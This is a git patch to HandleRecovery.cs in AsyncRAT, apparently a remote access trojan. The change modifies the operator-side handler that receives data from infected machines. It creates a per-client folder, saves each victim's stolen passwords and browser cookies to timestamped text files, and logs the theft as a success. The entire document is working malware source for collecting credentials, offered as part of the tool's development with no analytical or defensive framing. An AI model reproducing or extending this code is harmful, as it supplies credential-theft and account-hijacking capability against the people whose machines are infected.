From 9d2d231fb21810a68306a897c20246ec41099593 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Mon, 10 Jun 2019 13:35:52 +0300 Subject: [PATCH] Update HandleRecovery.cs --- AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs index eab9c62..d917263 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs @@ -19,9 +19,9 @@ namespace AsyncRAT_Sharp.Handle_Packet { string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID + "\\Recovery"); if (!Directory.Exists(fullPath)) - return; - File.WriteAllText(fullPath + "\\Password.txt", unpack_msgpack.ForcePathObject("Password").AsString.Replace("\n", Environment.NewLine)); - File.WriteAllText(fullPath + "\\Cookies.txt", unpack_msgpack.ForcePathObject("Cookies").AsString.Replace("\n", Environment.NewLine)); + Directory.CreateDirectory(fullPath); + File.WriteAllText(fullPath + "\\Password_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", unpack_msgpack.ForcePathObject("Password").AsString.Replace("\n", Environment.NewLine)); + File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", unpack_msgpack.ForcePathObject("Cookies").AsString.Replace("\n", Environment.NewLine)); new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple); } catch { }